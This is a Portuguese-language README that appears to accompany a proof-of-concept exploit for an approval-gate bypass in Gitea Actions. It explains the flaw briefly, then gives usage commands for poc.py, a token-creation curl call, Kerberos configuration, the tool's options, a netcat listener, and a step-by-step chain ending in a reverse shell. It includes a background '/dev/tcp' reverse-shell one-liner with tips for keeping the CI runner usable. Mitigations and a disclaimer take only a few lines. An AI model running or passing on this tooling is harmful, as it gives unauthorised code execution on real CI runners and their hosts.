
Uma falha na lógica de gates de aprovação do Gitea Open Source Git Server permite que um pull request originado de um fork permanente seja mesclado sem satisfazer os gates de aprovação configurados no repositório.
Gravidade: Alta (CVSS 8.9) Afetado: Gitea ≤ 1.26.2 Corrigido em: Gitea 1.26.3 Advisory: GHSA-777r-4v59-6486
O Gitea Actions impõe um gate de aprovação em execuções de workflow acionadas por pull requests de fork. O gate é implementado em ifNeedApproval() e tem a intenção de impedir que contribuidores não confiáveis executem código arbitrário por meio de pipelines de CI.
A falha é que ifNeedApproval() é aplicada corretamente apenas ao evento pull_request. Cada tipo de evento listado no bloco on: de um workflow gera um objeto ActionRun independente com sua própria verificação de aprovação. Quando um atacante amplia o bloco on: para incluir eventos como pull_request_review, issue_comment ou pull_request_review_comment, essas execuções são despachadas sem passar pelo gate de aprovação.
Acionar qualquer um desses eventos sem proteção — por exemplo, publicando um comentário de revisão no PR — inicia imediatamente a execução do workflow como a conta de serviço do runner, sem exigir aprovação de um mantenedor.
A função ifNeedApproval() verifica a aprovação com base em (repo_id, trigger_user_id) para o evento pull_request, mas não aplica essa verificação de forma consistente em todos os tipos de evento acionáveis.
Caminho vulnerável:
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
| Requisito | Detalhe |
|---|---|
| Conta Gitea | Qualquer usuário autenticado com permissão de fork |
| Repositório alvo | Gitea Actions deve estar habilitado |
| Runner | act_runner deve estar online e registrado |
| Rede |
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
Via navegador: Settings -> Applications -> Generate Token
Escopos necessários: escrita no repositório + escrita em issues.
Via API:
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
-u "<username>:<password>" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
Executar:
python3 poc.py \
--url http://gitea.example.com:3000 \
--token <token> \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Para instâncias do Gitea que aceitam apenas Kerberos/SPNEGO (ambientes Active Directory com SSPI aplicado). Deve ser executado a partir de um host ingressado no domínio com um TGT válido.
kinit [email protected]
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Se a resolução de DNS falhar, configure /etc/krb5.conf:
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc = <DC_IP>
admin_server = <DC_IP>
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: <repo>-<random>)
--workflow-name Custom workflow filename (default: ci-<random>.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
nc -lvnp 4444
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
Por padrão, o act_runner possui um único worker. Se a etapa do reverse shell não encerrar corretamente, o runner permanece no estado "running" e ignora novos jobs.
Para evitar isso, coloque o shell em segundo plano:
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
Ou use --custom-payload para passar um one-liner daemonizado diretamente.
ActionRun com event=pull_request_review ou event=issue_comment originadas de PRs de forkpull_request_review com etapas de execução de shell| Ação | Detalhe |
|---|---|
| Atualizar | O Gitea 1.26.3+ corrige este problema |
| Workaround | Desative o Gitea Actions em repositórios com contribuidores não confiáveis |
| Auditoria | Revise PRs de fork e execuções de workflow associadas em busca de execuções inesperadas |
| Restringir | Limite permissões de fork a usuários confiáveis |
Apenas para testes de segurança autorizados e pesquisa. Não use contra sistemas sem permissão explícita por escrito.
| O host do atacante deve ser acessível a partir do runner |